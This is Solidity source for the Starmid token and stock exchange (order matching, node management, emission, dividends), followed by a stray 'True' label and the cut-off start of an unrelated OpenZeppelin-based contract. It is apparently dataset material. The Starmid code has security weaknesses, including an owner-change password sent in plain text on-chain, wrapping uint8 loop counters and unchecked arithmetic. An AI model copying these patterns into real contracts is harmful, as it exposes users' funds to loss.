require(_amount <= self.sellOrders[_price][iii].amount); if (_amount == self.sellOrders[_price][iii].amount) { //buy starcoins for ether self.balanceOf[msg.sender] += self.sellOrders[_price][iii].amount;// adds the amount to buyer&#39;s balance self.frozen[self.sellOrders[_price][iii].client] -= self.sellOrders[_price][iii].amount;// subtracts the amount from seller&#39;s frozen balance Transfer(self.sellOrders[_price][iii].client, msg.sender, self.sellOrders[_price][iii].amount); //transfer ether to seller self.pendingWithdrawals[self.sellOrders[_price][iii].client] += _price*self.sellOrders[_price][iii].amount; //save the transaction TradeHistory(block.timestamp, msg.sender, self.sellOrders[_price][iii].client, _price, self.sellOrders[_price][iii].amount, self.sellOrders[_price][iii].orderId); _remainingValue -= _price*self.sellOrders[_price][iii].amount; //delete sellOrders[_price][iii] and move each element for (uint ii = iii; ii < self.sellOrders[_price].length - 1; ii++) { self.sellOrders[_price][ii] = self.sellOrders[_price][ii + 1]; } delete self.sellOrders[_price][self.sellOrders[_price].length - 1]; self.sellOrders[_price].length--; //Delete _price from sellOrderPrices[] if it&#39;s the last order if (self.sellOrders[_price].length == 0) { uint fromArg = 99999; for (ii = 0; ii < self.sellOrderPrices.length - 1; ii++) { if (self.sellOrderPrices[ii] == _price) { fromArg = ii; } if (fromArg != 99999 && ii >= fromArg) self.sellOrderPrices[ii] = self.sellOrderPrices[ii + 1]; } delete self.sellOrderPrices[self.sellOrderPrices.length-1]; self.sellOrderPrices.length--; } return true; break; } else { //edit sellOrders[_price][iii] self.sellOrders[_price][iii].amount = self.sellOrders[_price][iii].amount - _amount; //buy starcoins for ether self.balanceOf[msg.sender] += _amount;// adds the _amount to buyer&#39;s balance self.frozen[self.sellOrders[_price][iii].client] -= _amount;// subtracts the _amount from seller&#39;s frozen balance Transfer(self.sellOrders[_price][iii].client, msg.sender, _amount); //save the transaction TradeHistory(block.timestamp, msg.sender, self.sellOrders[_price][iii].client, _price, _amount, self.sellOrders[_price][iii].orderId); //transfer ether to seller self.pendingWithdrawals[self.sellOrders[_price][iii].client] += _amount*_price; _remainingValue -= _amount*_price; return true; break; } } } self.pendingWithdrawals[msg.sender] += _remainingValue;//returns change to buyer } function sellCertainOrder(StarCoinLibrary.Data storage self, uint _amount, uint _price, uint _thisOrderID) returns (bool) { for (uint8 iii = 0; iii < self.buyOrders[_price].length; iii++) { if (self.buyOrders[_price][iii].orderId == _thisOrderID) { require(_amount <= self.buyOrders[_price][iii].amount && self.balanceOf[msg.sender] >= _amount); if (_amount == self.buyOrders[_price][iii].amount) { //sell starcoins for ether self.balanceOf[msg.sender] -= self.buyOrders[_price][iii].amount;// subtracts amount from seller&#39;s balance self.balanceOf[self.buyOrders[_price][iii].client] += self.buyOrders[_price][iii].amount;// adds the amount to buyer&#39;s balance Transfer(msg.sender, self.buyOrders[_price][iii].client, self.buyOrders[_price][iii].amount); //transfer ether to seller uint _amountTransfer = _price*self.buyOrders[_price][iii].amount; self.pendingWithdrawals[msg.sender] += _amountTransfer; //save the transaction TradeHistory(block.timestamp, self.buyOrders[_price][iii].client, msg.sender, _price, self.buyOrders[_price][iii].amount, self.buyOrders[_price][iii].orderId); _amount -= self.buyOrders[_price][iii].amount; //delete buyOrders[_price][iii] and move each element for (uint ii = iii; ii < self.buyOrders[_price].length - 1; ii++) { self.buyOrders[_price][ii] = self.buyOrders[_price][ii + 1]; } delete self.buyOrders[_price][self.buyOrders[_price].length - 1]; self.buyOrders[_price].length--; //Delete _price from buyOrderPrices[] if it&#39;s the last order if (self.buyOrders[_price].length == 0) { uint _fromArg = 99999; for (uint8 iiii = 0; iiii < self.buyOrderPrices.length - 1; iiii++) { if (self.buyOrderPrices[iiii] == _price) { _fromArg = iiii; } if (_fromArg != 99999 && iiii >= _fromArg) self.buyOrderPrices[iiii] = self.buyOrderPrices[iiii + 1]; } delete self.buyOrderPrices[self.buyOrderPrices.length-1]; self.buyOrderPrices.length--; } return true; break; } else { //edit buyOrders[_price][iii] self.buyOrders[_price][iii].amount = self.buyOrders[_price][iii].amount - _amount; //buy starcoins for ether self.balanceOf[msg.sender] -= _amount;// subtracts amount from seller&#39;s balance self.balanceOf[self.buyOrders[_price][iii].client] += _amount;// adds the amount to buyer&#39;s balance Transfer(msg.sender, self.buyOrders[_price][iii].client, _amount); //save the transaction TradeHistory(block.timestamp, self.buyOrders[_price][iii].client, msg.sender, _price, _amount, self.buyOrders[_price][iii].orderId); //transfer ether to seller self.pendingWithdrawals[msg.sender] += _price*_amount; return true; break; } } } } function stockBuyCertainOrder(StarCoinLibrary.Data storage self, uint _node, uint _price, uint _amount, uint _thisOrderID) returns (bool) { require(self.balanceOf[msg.sender] >= _price*_amount); for (uint8 iii = 0; iii < self.stockSellOrders[_node][_price].length; iii++) { if (self.stockSellOrders[_node][_price][iii].orderId == _thisOrderID) { require(_amount <= self.stockSellOrders[_node][_price][iii].amount); if (_amount == self.stockSellOrders[_node][_price][iii].amount) { //buy stocks for starcoins self.stockBalanceOf[msg.sender][_node] += self.stockSellOrders[_node][_price][iii].amount;// add the amount to buyer&#39;s balance self.stockFrozen[self.stockSellOrders[_node][_price][iii].client][_node] -= self.stockSellOrders[_node][_price][iii].amount;// subtracts amount from seller&#39;s frozen stock balance //write stockOwnerInfo and stockOwners for dividends CommonLibrary.stockSaveOwnerInfo(self, _node, self.stockSellOrders[_node][_price][iii].amount, msg.sender, self.stockSellOrders[_node][_price][iii].client, _price); //transfer starcoins to seller self.balanceOf[msg.sender] -= self.stockSellOrders[_node][_price][iii].amount*_price;// subtracts amount from buyer&#39;s balance self.balanceOf[self.stockSellOrders[_node][_price][iii].client] += self.stockSellOrders[_node][_price][iii].amount*_price;// adds the amount to seller&#39;s balance Transfer(self.stockSellOrders[_node][_price][iii].client, msg.sender, self.stockSellOrders[_node][_price][iii].amount*_price); //save the transaction into event StocksTradeHistory; StockTradeHistory(_node, block.timestamp, msg.sender, self.stockSellOrders[_node][_price][iii].client, _price, self.stockSellOrders[_node][_price][iii].amount, self.stockSellOrders[_node][_price][iii].orderId); _amount -= self.stockSellOrders[_node][_price][iii].amount; //delete stockSellOrders[_node][_price][iii] and move each element CommonLibrary.deleteStockSellOrder(self, iii, _node, _price); return true; break; } else { //edit stockSellOrders[_node][_price][iii] self.stockSellOrders[_node][_price][iii].amount -= _amount; //buy stocks for starcoins self.stockBalanceOf[msg.sender][_node] += _amount;// adds the amount to buyer&#39;s balance self.stockFrozen[self.stockSellOrders[_node][_price][iii].client][_node] -= _amount;// subtracts amount from seller&#39;s frozen stock balance //write stockOwnerInfo and stockOwners for dividends CommonLibrary.stockSaveOwnerInfo(self, _node, _amount, msg.sender, self.stockSellOrders[_node][_price][iii].client, _price); //transfer starcoins to seller self.balanceOf[msg.sender] -= _amount*_price;// subtracts amount from buyer&#39;s balance self.balanceOf[self.stockSellOrders[_node][_price][iii].client] += _amount*_price;// adds the amount to seller&#39;s balance Transfer(self.stockSellOrders[_node][_price][iii].client, msg.sender, _amount*_price); //save the transaction into event StocksTradeHistory; StockTradeHistory(_node, block.timestamp, msg.sender, self.stockSellOrders[_node][_price][iii].client, _price, _amount, self.stockSellOrders[_node][_price][iii].orderId); _amount = 0; return true; break; } } } } function stockSellCertainOrder(StarCoinLibrary.Data storage self, uint _node, uint _price, uint _amount, uint _thisOrderID) returns (bool results) { uint _remainingAmount = _amount; for (uint8 iii = 0; iii < self.stockBuyOrders[_node][_price].length; iii++) { if (self.stockBuyOrders[_node][_price][iii].orderId == _thisOrderID) { require(_amount <= self.stockBuyOrders[_node][_price][iii].amount && self.stockBalanceOf[msg.sender][_node] >= _amount); if (_remainingAmount == self.stockBuyOrders[_node][_price][iii].amount) { //sell stocks for starcoins self.stockBalanceOf[msg.sender][_node] -= self.stockBuyOrders[_node][_price][iii].amount;// subtracts amount from seller&#39;s balance self.stockBalanceOf[self.stockBuyOrders[_node][_price][iii].client][_node] += self.stockBuyOrders[_node][_price][iii].amount;// adds the amount to buyer&#39;s balance //write stockOwnerInfo and stockOwners for dividends CommonLibrary.stockSaveOwnerInfo(self, _node, self.stockBuyOrders[_node][_price][iii].amount, self.stockBuyOrders[_node][_price][iii].client, msg.sender, _price); //transfer starcoins to seller self.balanceOf[msg.sender] += self.stockBuyOrders[_node][_price][iii].amount*_price;// adds the amount to buyer&#39;s balance self.frozen[self.stockBuyOrders[_node][_price][iii].client] -= self.stockBuyOrders[_node][_price][iii].amount*_price;// subtracts amount from seller&#39;s frozen balance Transfer(self.stockBuyOrders[_node][_price][iii].client, msg.sender, self.stockBuyOrders[_node][_price][iii].amount*_price); //save the transaction StockTradeHistory(_node, block.timestamp, self.stockBuyOrders[_node][_price][iii].client, msg.sender, _price, self.stockBuyOrders[_node][_price][iii].amount, self.stockBuyOrders[_node][_price][iii].orderId); _amount -= self.stockBuyOrders[_node][_price][iii].amount; //delete stockBuyOrders[_node][_price][iii] and move each element CommonLibrary.deleteStockBuyOrder(self, iii, _node, _price); results = true; break; } else { //edit stockBuyOrders[_node][_price][0] self.stockBuyOrders[_node][_price][iii].amount -= _amount; //sell stocks for starcoins self.stockBalanceOf[msg.sender][_node] -= _amount;// subtracts amount from seller&#39;s balance self.stockBalanceOf[self.stockBuyOrders[_node][_price][iii].client][_node] += _amount;// adds the amount to buyer&#39;s balance //write stockOwnerInfo and stockOwners for dividends CommonLibrary.stockSaveOwnerInfo(self, _node, _amount, self.stockBuyOrders[_node][_price][iii].client, msg.sender, _price); //transfer starcoins to seller self.balanceOf[msg.sender] += _amount*_price;// adds the amount to buyer&#39;s balance self.frozen[self.stockBuyOrders[_node][_price][iii].client] -= _amount*_price;// subtracts amount from seller&#39;s frozen balance Transfer(self.stockBuyOrders[_node][_price][iii].client, msg.sender, _amount*_price); //save the transaction StockTradeHistory(_node, block.timestamp, self.stockBuyOrders[_node][_price][iii].client, msg.sender, _price, _amount, self.stockBuyOrders[_node][_price][iii].orderId); _amount = 0; results = true; break; } } } } } contract Nodes { address public owner; CommonLibrary.Data public vars; mapping (address => string) public confirmationNodes; uint confirmNodeId; uint40 changePercentId; uint40 pushNodeGroupId; uint40 deleteNodeGroupId; event NewNode( uint256 id, string nodeName, uint8 producersPercent, address producer, uint date ); event OwnerNotation(uint256 id, uint date, string newNotation); event NewNodeGroup(uint16 id, string newNodeGroup); event AddNodeAddress(uint id, uint nodeID, address nodeAdress); event EditNode( uint nodeID, address nodeAdress, address newProducer, uint8 newProducersPercent, bool starmidConfirmed ); event ConfirmNode(uint id, uint nodeID); event OutsourceConfirmNode(uint nodeID, address confirmationNode); event ChangePercent(uint id, uint nodeId, uint producersPercent); event PushNodeGroup(uint id, uint nodeId, uint newNodeGroup); event DeleteNodeGroup(uint id, uint nodeId, uint deleteNodeGroup); function Nodes() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } //-----------------------------------------------------Nodes--------------------------------------------------------------- function changeOwner(string _changeOwnerPassword, address _newOwnerAddress) onlyOwner returns(bool) { //One-time tool for emergency owner change if (keccak256(_changeOwnerPassword) == 0xe17a112b6fc12fc80c9b241de72da0d27ce7e244100f3c4e9358162a11bed629) { owner = _newOwnerAddress; return true; } else return false; } function addOwnerNotations(string _newNotation) onlyOwner { uint date = block.timestamp; vars.ownerNotationId += 1; OwnerNotation(vars.ownerNotationId, date, _newNotation); } function addConfirmationNode(string _newConfirmationNode) public returns(bool) { confirmationNodes[msg.sender] = _newConfirmationNode; return true; } function addNodeGroup(string _newNodeGroup) onlyOwner returns(uint16 _id) { bool result; (result, _id) = CommonLibrary.addNodeGroup(vars, _newNodeGroup); require(result); NewNodeGroup(_id, _newNodeGroup); } function addNode(string _newNode, uint8 _producersPercent) returns(bool) { bool result; uint _id; (result, _id) = CommonLibrary.addNode(vars, _newNode, _producersPercent); require(result); NewNode(_id, _newNode, _producersPercent, msg.sender, block.timestamp); return true; } function editNode( uint _nodeID, address _nodeAddress, bool _isNewProducer, address _newProducer, uint8 _newProducersPercent, bool _starmidConfirmed ) onlyOwner returns(bool) { bool x = CommonLibrary.editNode(vars, _nodeID, _nodeAddress,_isNewProducer, _newProducer, _newProducersPercent, _starmidConfirmed); require(x); EditNode(_nodeID, _nodeAddress, _newProducer, _newProducersPercent, _starmidConfirmed); return true; } function addNodeAddress(uint _nodeID, address _nodeAddress) public returns(bool) { bool _result; uint _id; (_result, _id) = CommonLibrary.addNodeAddress(vars, _nodeID, _nodeAddress); require(_result); AddNodeAddress(_id, _nodeID, _nodeAddress); return true; } function pushNodeGroup(uint _nodeID, uint16 _newNodeGroup) public returns(bool) { require(msg.sender == vars.nodes[_nodeID].node); vars.nodes[_nodeID].nodeGroup.push(_newNodeGroup); pushNodeGroupId += 1; PushNodeGroup(pushNodeGroupId, _nodeID, _newNodeGroup); return true; } function deleteNodeGroup(uint _nodeID, uint16 _deleteNodeGroup) public returns(bool) { require(msg.sender == vars.nodes[_nodeID].node); for(uint16 i = 0; i < vars.nodes[_nodeID].nodeGroup.length; i++) { if(_deleteNodeGroup == vars.nodes[_nodeID].nodeGroup[i]) { for(uint16 ii = i; ii < vars.nodes[_nodeID].nodeGroup.length - 1; ii++) vars.nodes[_nodeID].nodeGroup[ii] = vars.nodes[_nodeID].nodeGroup[ii + 1]; delete vars.nodes[_nodeID].nodeGroup[vars.nodes[_nodeID].nodeGroup.length - 1]; vars.nodes[_nodeID].nodeGroup.length--; break; } } deleteNodeGroupId += 1; DeleteNodeGroup(deleteNodeGroupId, _nodeID, _deleteNodeGroup); return true; } function confirmNode(uint _nodeID) onlyOwner returns(bool) { vars.nodes[_nodeID].starmidConfirmed = true; confirmNodeId += 1; ConfirmNode(confirmNodeId, _nodeID); return true; } function outsourceConfirmNode(uint _nodeID) public returns(bool) { vars.nodes[_nodeID].outsourceConfirmed.push(msg.sender); OutsourceConfirmNode(_nodeID, msg.sender); return true; } function changePercent(uint _nodeId, uint8 _producersPercent) public returns(bool){ if(msg.sender == vars.nodes[_nodeId].producer && vars.nodes[_nodeId].node == 0x0000000000000000000000000000000000000000) { vars.nodes[_nodeId].producersPercent = _producersPercent; changePercentId += 1; ChangePercent(changePercentId, _nodeId, _producersPercent); return true; } } function getNodeInfo(uint _nodeID) constant public returns( address _producer, address _node, uint _date, bool _starmidConfirmed, string _nodeName, address[] _outsourceConfirmed, uint16[] _nodeGroup, uint _producersPercent ) { _producer = vars.nodes[_nodeID].producer; _node = vars.nodes[_nodeID].node; _date = vars.nodes[_nodeID].date; _starmidConfirmed = vars.nodes[_nodeID].starmidConfirmed; _nodeName = vars.nodes[_nodeID].nodeName; _outsourceConfirmed = vars.nodes[_nodeID].outsourceConfirmed; _nodeGroup = vars.nodes[_nodeID].nodeGroup; _producersPercent = vars.nodes[_nodeID].producersPercent; } } contract Starmid { address public owner; Nodes public nodesVars; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; StarCoinLibrary.Data public sCVars; event Transfer(address indexed from, address indexed to, uint256 value); event BuyOrder(address indexed from, uint orderId, uint buyPrice); event SellOrder(address indexed from, uint orderId, uint sellPrice); event CancelBuyOrder(address indexed from, uint indexed orderId, uint price); event CancelSellOrder(address indexed from, uint indexed orderId, uint price); event TradeHistory(uint date, address buyer, address seller, uint price, uint amount, uint orderId); //----------------------------------------------------Starmid exchange event StockTransfer(address indexed from, address indexed to, uint indexed node, uint256 value); event StockBuyOrder(uint node, uint buyPrice); event StockSellOrder(uint node, uint sellPrice); event StockCancelBuyOrder(uint node, uint price); event StockCancelSellOrder(uint node, uint price); event StockTradeHistory(uint node, uint date, address buyer, address seller, uint price, uint amount, uint orderId); function Starmid(uint256 initialSupply, string tokenName, string tokenSymbol, uint8 decimalUnits) public { owner = 0x378B9eea7ab9C15d9818EAdDe1156A079Cd02ba8; totalSupply = initialSupply; sCVars.balanceOf[msg.sender] = 5000000000; sCVars.balanceOf[0x378B9eea7ab9C15d9818EAdDe1156A079Cd02ba8] = initialSupply - 5000000000; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; sCVars.lastMint = block.timestamp; sCVars.emissionLimits[1] = 500000; sCVars.emissionLimits[2] = 500000; sCVars.emissionLimits[3] = 500000; sCVars.emissionLimits[4] = 500000; sCVars.emissionLimits[5] = 500000; sCVars.emissionLimits[6] = 500000; } modifier onlyOwner { require(msg.sender == owner); _; } //-----------------------------------------------------StarCoin Exchange------------------------------------------------------ function getWithdrawal() constant public returns(uint _amount) { _amount = sCVars.pendingWithdrawals[msg.sender]; } function withdraw() public returns(bool _result, uint _amount) { _amount = sCVars.pendingWithdrawals[msg.sender]; sCVars.pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(_amount); _result = true; } function changeOwner(string _changeOwnerPassword, address _newOwnerAddress) onlyOwner returns(bool) { //One-time tool for emergency owner change if (keccak256(_changeOwnerPassword) == 0xe17a112b6fc12fc80c9b241de72da0d27ce7e244100f3c4e9358162a11bed629) { owner = _newOwnerAddress; return true; } else return false; } function setNodesVars(address _addr) public { require(msg.sender == 0xfCbA69eF1D63b0A4CcD9ceCeA429157bA48d6a9c); nodesVars = Nodes(_addr); } function getBalance(address _address) constant public returns(uint _balance) { _balance = sCVars.balanceOf[_address]; } function getBuyOrderPrices() constant public returns(uint[] _prices) { _prices = sCVars.buyOrderPrices; } function getSellOrderPrices() constant public returns(uint[] _prices) { _prices = sCVars.sellOrderPrices; } function getOrderInfo(bool _isBuyOrder, uint _price, uint _number) constant public returns(address _address, uint _amount, uint _orderId) { if(_isBuyOrder == true) { _address = sCVars.buyOrders[_price][_number].client; _amount = sCVars.buyOrders[_price][_number].amount; _orderId = sCVars.buyOrders[_price][_number].orderId; } else { _address = sCVars.sellOrders[_price][_number].client; _amount = sCVars.sellOrders[_price][_number].amount; _orderId = sCVars.sellOrders[_price][_number].orderId; } } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function mint() public onlyOwner returns(uint _mintedAmount) { //Minted amount does not exceed 8,5% per annum. Thus, minting does not greatly increase the total supply //and does not cause significant inflation and depreciation of the starcoin. _mintedAmount = (block.timestamp - sCVars.lastMint)*totalSupply/(12*31536000);//31536000 seconds in year sCVars.balanceOf[msg.sender] += _mintedAmount; totalSupply += _mintedAmount; sCVars.lastMint = block.timestamp; Transfer(0, this, _mintedAmount); Transfer(this, msg.sender, _mintedAmount); } function buyOrder(uint256 _buyPrice) payable public returns (uint[4] _results) { require(_buyPrice > 0 && msg.value > 0); _results = StarCoinLibrary.buyOrder(sCVars, _buyPrice); require(_results[3] == 1); BuyOrder(msg.sender, _results[2], _buyPrice); } function sellOrder(uint256 _sellPrice, uint _amount) public returns (uint[4] _results) { require(_sellPrice > 0 && _amount > 0); _results = StarCoinLibrary.sellOrder(sCVars, _sellPrice, _amount); require(_results[3] == 1); SellOrder(msg.sender, _results[2], _sellPrice); } function cancelBuyOrder(uint _thisOrderID, uint _price) public { require(StarCoinLibrary.cancelBuyOrder(sCVars, _thisOrderID, _price)); CancelBuyOrder(msg.sender, _thisOrderID, _price); } function cancelSellOrder(uint _thisOrderID, uint _price) public { require(StarCoinLibrary.cancelSellOrder(sCVars, _thisOrderID, _price)); CancelSellOrder(msg.sender, _thisOrderID, _price); } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(sCVars.balanceOf[_from] >= _value && sCVars.balanceOf[_to] + _value > sCVars.balanceOf[_to]); sCVars.balanceOf[_from] -= _value; sCVars.balanceOf[_to] += _value; Transfer(_from, _to, _value); } function buyCertainOrder(uint _price, uint _thisOrderID) payable public returns (bool _results) { _results = StarmidLibraryExtra.buyCertainOrder(sCVars, _price, _thisOrderID); require(_results && msg.value > 0); BuyOrder(msg.sender, _thisOrderID, _price); } function sellCertainOrder(uint _amount, uint _price, uint _thisOrderID) public returns (bool _results) { _results = StarmidLibraryExtra.sellCertainOrder(sCVars, _amount, _price, _thisOrderID); require(_results && _amount > 0); SellOrder(msg.sender, _thisOrderID, _price); } //------------------------------------------------------Starmid exchange---------------------------------------------------------- function stockTransfer(address _to, uint _node, uint _value) public { require(_to != 0x0); require(sCVars.stockBalanceOf[msg.sender][_node] >= _value && sCVars.stockBalanceOf[_to][_node] + _value > sCVars.stockBalanceOf[_to][_node]); var (x,y,) = nodesVars.getNodeInfo(_node); require(msg.sender != y);//nodeOwner cannot transfer his stocks, only sell sCVars.stockBalanceOf[msg.sender][_node] -= _value; sCVars.stockBalanceOf[_to][_node] += _value; StockTransfer(msg.sender, _to, _node, _value); } function getEmission(uint _node) constant public returns(uint _emissionNumber, uint _emissionDate, uint _emissionAmount) { _emissionNumber = sCVars.emissions[_node].emissionNumber; _emissionDate = sCVars.emissions[_node].date; _emissionAmount = sCVars.emissionLimits[_emissionNumber]; } function emission(uint _node) public returns(bool _result, uint _emissionNumber, uint _emissionAmount, uint _producersPercent) { var (x,y,,,,,,z,) = nodesVars.getNodeInfo(_node); address _nodeOwner = y; address _nodeProducer = x; _producersPercent = z; require(msg.sender == _nodeOwner || msg.sender == _nodeProducer); uint allStocks; for (uint i = 1; i <= sCVars.emissions[_node].emissionNumber; i++) { allStocks += sCVars.emissionLimits[i]; } if (_nodeOwner !=0x0000000000000000000000000000000000000000 && block.timestamp > sCVars.emissions[_node].date + 5184000 && sCVars.stockBalanceOf[_nodeOwner][_node] <= allStocks/2 ) { _emissionNumber = sCVars.emissions[_node].emissionNumber + 1; sCVars.stockBalanceOf[_nodeOwner][_node] += sCVars.emissionLimits[_emissionNumber]*(100 - _producersPercent)/100; //save stockOwnerInfo for _nodeOwner uint thisNode = 0; for (i = 0; i < sCVars.stockOwnerInfo[_nodeOwner].nodes.length; i++) { if (sCVars.stockOwnerInfo[_nodeOwner].nodes[i] == _node) thisNode = 1; } if (thisNode == 0) sCVars.stockOwnerInfo[_nodeOwner].nodes.push(_node); sCVars.stockBalanceOf[_nodeProducer][_node] += sCVars.emissionLimits[_emissionNumber]*_producersPercent/100; //save stockOwnerInfo for _nodeProducer thisNode = 0; for (i = 0; i < sCVars.stockOwnerInfo[_nodeProducer].nodes.length; i++) { if (sCVars.stockOwnerInfo[_nodeProducer].nodes[i] == _node) thisNode = 1; } if (thisNode == 0) sCVars.stockOwnerInfo[_nodeProducer].nodes.push(_node); sCVars.emissions[_node].date = block.timestamp; sCVars.emissions[_node].emissionNumber = _emissionNumber; _emissionAmount = sCVars.emissionLimits[_emissionNumber]; _result = true; } else _result = false; } function getStockOwnerInfo(address _address) constant public returns(uint[] _nodes) { _nodes = sCVars.stockOwnerInfo[_address].nodes; } function getStockBalance(address _address, uint _node) constant public returns(uint _balance) { _balance = sCVars.stockBalanceOf[_address][_node]; } function getWithFrozenStockBalance(address _address, uint _node) constant public returns(uint _balance) { _balance = sCVars.stockBalanceOf[_address][_node] + sCVars.stockFrozen[_address][_node]; } function getStockOrderInfo(bool _isBuyOrder, uint _node, uint _price, uint _number) constant public returns(address _address, uint _amount, uint _orderId) { if(_isBuyOrder == true) { _address = sCVars.stockBuyOrders[_node][_price][_number].client; _amount = sCVars.stockBuyOrders[_node][_price][_number].amount; _orderId = sCVars.stockBuyOrders[_node][_price][_number].orderId; } else { _address = sCVars.stockSellOrders[_node][_price][_number].client; _amount = sCVars.stockSellOrders[_node][_price][_number].amount; _orderId = sCVars.stockSellOrders[_node][_price][_number].orderId; } } function getStockBuyOrderPrices(uint _node) constant public returns(uint[] _prices) { _prices = sCVars.stockBuyOrderPrices[_node]; } function getStockSellOrderPrices(uint _node) constant public returns(uint[] _prices) { _prices = sCVars.stockSellOrderPrices[_node]; } function stockBuyOrder(uint _node, uint256 _buyPrice, uint _amount) public returns (uint[4] _results) { require(_node > 0 && _buyPrice > 0 && _amount > 0); _results = StarmidLibrary.stockBuyOrder(sCVars, _node, _buyPrice, _amount); require(_results[3] == 1); StockBuyOrder(_node, _buyPrice); } function stockSellOrder(uint _node, uint256 _sellPrice, uint _amount) public returns (uint[4] _results) { require(_node > 0 && _sellPrice > 0 && _amount > 0); _results = StarmidLibrary.stockSellOrder(sCVars, _node, _sellPrice, _amount); require(_results[3] == 1); StockSellOrder(_node, _sellPrice); } function stockCancelBuyOrder(uint _node, uint _thisOrderID, uint _price) public { require(StarmidLibrary.stockCancelBuyOrder(sCVars, _node, _thisOrderID, _price)); StockCancelBuyOrder(_node, _price); } function stockCancelSellOrder(uint _node, uint _thisOrderID, uint _price) public { require(StarmidLibrary.stockCancelSellOrder(sCVars, _node, _thisOrderID, _price)); StockCancelSellOrder(_node, _price); } function getLastDividends(uint _node) public constant returns (uint _lastDividents, uint _dividends) { uint stockAmount = sCVars.StockOwnersBuyPrice[msg.sender][_node].sumAmount; uint sumAmount = sCVars.StockOwnersBuyPrice[msg.sender][_node].sumAmount; if(sumAmount > 0) { uint stockAverageBuyPrice = sCVars.StockOwnersBuyPrice[msg.sender][_node].sumPriceAmount/sumAmount; uint dividendsBase = stockAmount*stockAverageBuyPrice; _lastDividents = sCVars.StockOwnersBuyPrice[msg.sender][_node].sumDateAmount/sumAmount; if(_lastDividents > 0)_dividends = (block.timestamp - _lastDividents)*dividendsBase/(10*31536000); else _dividends = 0; } } //--------------------------------Dividends (10% to stock owner, 2,5% to node owner per annum)------------------------------------ function dividends(uint _node) public returns (bool _result, uint _dividends) { var (x,y,) = nodesVars.getNodeInfo(_node); uint _stockAmount = sCVars.StockOwnersBuyPrice[msg.sender][_node].sumAmount; uint _sumAmount = sCVars.StockOwnersBuyPrice[msg.sender][_node].sumAmount; if(_sumAmount > 0) { uint _stockAverageBuyPrice = sCVars.StockOwnersBuyPrice[msg.sender][_node].sumPriceAmount/_sumAmount; uint _dividendsBase = _stockAmount*_stockAverageBuyPrice; uint _averageDate = sCVars.StockOwnersBuyPrice[msg.sender][_node].sumDateAmount/_sumAmount; //Stock owner`s dividends uint _div = (block.timestamp - _averageDate)*_dividendsBase/(10*31536000);//31536000 seconds in year sCVars.balanceOf[msg.sender] += _div; //Node owner`s dividends uint _nodeDividends = (block.timestamp - _averageDate)*_dividendsBase/(40*31536000);//31536000 seconds in year sCVars.balanceOf[y] += _nodeDividends; sCVars.StockOwnersBuyPrice[msg.sender][_node].sumDateAmount = block.timestamp*_stockAmount;//set new average dividends date totalSupply += _div + _div/4; _dividends = _div + _div/4; Transfer(this, msg.sender, _div); Transfer(this, y, _div/4); _result = true; } } function stockBuyCertainOrder(uint _node, uint _price, uint _amount, uint _thisOrderID) payable public returns (bool _results) { _results = StarmidLibraryExtra.stockBuyCertainOrder(sCVars, _node, _price, _amount, _thisOrderID); require(_results && _node > 0 && _amount > 0); StockBuyOrder(_node, _price); } function stockSellCertainOrder(uint _node, uint _price, uint _amount, uint _thisOrderID) public returns (bool _results) { _results = StarmidLibraryExtra.stockSellCertainOrder(sCVars, _node, _price, _amount, _thisOrderID); require(_results && _node > 0 && _amount > 0); StockSellOrder(_node, _price); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-04-15 */ // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * 